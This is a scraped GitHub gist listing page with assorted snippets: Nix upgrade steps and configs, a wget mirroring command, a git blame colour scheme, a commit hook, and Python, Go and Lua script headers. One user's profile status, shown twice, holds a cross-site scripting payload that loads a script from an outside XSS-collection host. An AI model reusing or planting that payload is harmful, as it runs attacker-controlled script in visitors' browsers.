Skip to content

Instantly share code, notes, and snippets.

View SuperSandro2000's full-sized avatar
⚙️
Factorio - "><script src=https://sandro.xss.ht></script>

Sandro SuperSandro2000

⚙️
Factorio - "><script src=https://sandro.xss.ht></script>
View GitHub Profile
@SuperSandro2000
SuperSandro2000 / nix-installer-unstable.md
Created March 30, 2021 10:56
Upgrade nix installed with nix-installer to unstable
  1. systemctl disable --now nix-daemon.service nix-daemon.socket
  2. nix-env -p /nix/var/nix/profiles/default/ --install nix-2.4pre20210317_8a5203d
  3. rm /etc/profile.d/nix.sh /etc/profile.d/nix-daemon.sh
  4. ln -s /nix/var/nix/profiles/default/etc/profile.d/nix.sh /etc/profile.d/nix.sh
  5. ln -s /nix/var/nix/profiles/default/etc/profile.d/nix-daemon.sh /etc/profile.d/nix-daemon.sh
  6. systemctl link /nix/var/nix/profiles/default/lib/systemd/system/nix-daemon.{service,socket}

The command line, in short…

wget -k -K -E -r -l 10 -p -N -F --restrict-file-names=windows -nH http://website.com/

…and the options explained

  • -k : convert links to relative
  • -K : keep an original versions of files without the conversions made by wget
  • -E : rename html files to .html (if they don’t already have an htm(l) extension)
  • -r : recursive… of course we want to make a recursive copy
  • -l 10 : the maximum level of recursion. if you have a really big website you may need to put a higher number, but 10 levels should be enough.
@BuonOmo
BuonOmo / .gitconfig
Last active February 22, 2024 15:19
Git blame color scale from 20 month ago to now (https://stackoverflow.com/a/66250482/6320039)
[color "blame"]
highlightRecent = 234, 23 month ago, 235, 22 month ago, 236, 21 month ago, 237, 20 month ago, 238, 19 month ago, 239, 18 month ago, 240, 17 month ago, 241, 16 month ago, 242, 15 month ago, 243, 14 month ago, 244, 13 month ago, 245, 12 month ago, 246, 11 month ago, 247, 10 month ago, 248, 9 month ago, 249, 8 month ago, 250, 7 month ago, 251, 6 month ago, 252, 5 month ago, 253, 4 month ago, 254, 3 month ago, 231, 2 month ago, 230, 1 month ago, 229, 3 weeks ago, 228, 2 weeks ago, 227, 1 week ago, 226
[blame]
coloring = highlightRecent
date = human
@SuperSandro2000
SuperSandro2000 / prepare-commit-msg.sh
Last active November 12, 2023 23:13
prepare commit message for nixpkgs. put into .git/hooks/prepare-commit-msg
#!/usr/bin/env bash
# shellcheck disable=SC2034
COMMIT_MSG_FILE=$1 # file which contains the commmit message
# shellcheck disable=SC2034
COMMIT_SOURCE=$2 # eg commit
# shellcheck disable=SC2034
SHA1=$3 # eg head
perl -i -ne 'print unless(m/^. Please enter the commit message/..m/^#$/)' "$COMMIT_MSG_FILE"
@mroi
mroi / linux.nix
Last active March 13, 2024 16:50
cross-compile a Linux kernel on Darwin using Nix
let cross = self: super: {
# https://github.com/NixOS/nixpkgs/pull/113225
buildLinux = attrs: self.callPackage "${self.fetchFromGitHub {
owner = "mroi";
repo = "nixpkgs";
rev = "patch-linux";
sha256 = "07i6wwf4vh5ahnkp3wvyzdiaqhrxakjjxbdrlwdviis777p9gl5v";
}}/pkgs/os-specific/linux/kernel/generic.nix" attrs;
@bitingsock
bitingsock / ytdl-preload.lua
Last active April 6, 2024 21:25
Precache the next entry in your playlist if it is a network source by downloading it to a temp file ahead of time. Change Line 20 to temp directory. It will delete the directory on exit.
----------------------
-- #example ytdl_preload.conf
-- # make sure lines do not have trailing whitespace
-- # ytdl_opt has no sanity check and should be formatted exactly how it would appear in yt-dlp CLI, they are split into a key/value pair on whitespace
-- # at least on Windows, do not escape '\' in temp, just us a single one for each divider
-- #temp=R:\ytdltest
-- #ytdl_opt1=-r 50k
-- #ytdl_opt2=-N 5
-- #ytdl_opt#=etc
@divyajyotiuk
divyajyotiuk / get_twitter_bookmarks.py
Last active February 10, 2024 05:40
Python code to get text and link of the bookmarked tweets and save in markdown
import json
import glob
all_bookmarks = []
md_file = open("bookmarks.md", "w+") # saving in markdown file, if no file exists using '+' creates one
files = [file for file in glob.glob("JSONBookmarks/*")] # using glob to read all files from the folder
for file_name in files:
print(file_name)
with open(file_name) as bk:
@jsteenb2
jsteenb2 / cobra_completions.go
Last active November 29, 2021 23:39
Add shell completions to your cobra CLI with ease
func completionCmd(cliName string) *cobra.Command {
return &cobra.Command{
Use: "completion [bash|fish|oh-my-zsh|powershell|zsh]",
Short: "Generates shell completions",
Args: cobra.ExactValidArgs(1),
ValidArgs: []string{"bash", "fish", "oh-my-zsh", "zsh", "powershell"},
DisableFlagsInUseLine: true,
Long: fmt.Sprintf(`
Outputs shell completion for the given shell (bash, fish, oh-my-zsh, or zsh)
OS X:
@nh2
nh2 / configuration.nix
Last active October 14, 2021 11:47
NixOS configuration for nh2's mail server presentation (https://nh2.me/recent/Running-your-own-mailserver.pdf)
# Edit this configuration file to define what should be installed on
# your system. Help is available in the configuration.nix(5) man page
# and in the NixOS manual (accessible by running ‘nixos-help’).
{ config, pkgs, ... }:
let
floatingIPv4 = "95.216.183.106";
floatingIPv6 = "2a01:4f9:c01f:65::1";
in
{
@benigumocom
benigumocom / debug_from_qr.py
Last active March 26, 2024 06:02
Connect Wireless Debug from Terminal on Android11
#!/usr/bin/env python3
"""
Android11
Pair and connect devices for wireless debug on terminal
python-zeroconf: A pure python implementation of multicast DNS service discovery
https://github.com/jstasiak/python-zeroconf
"""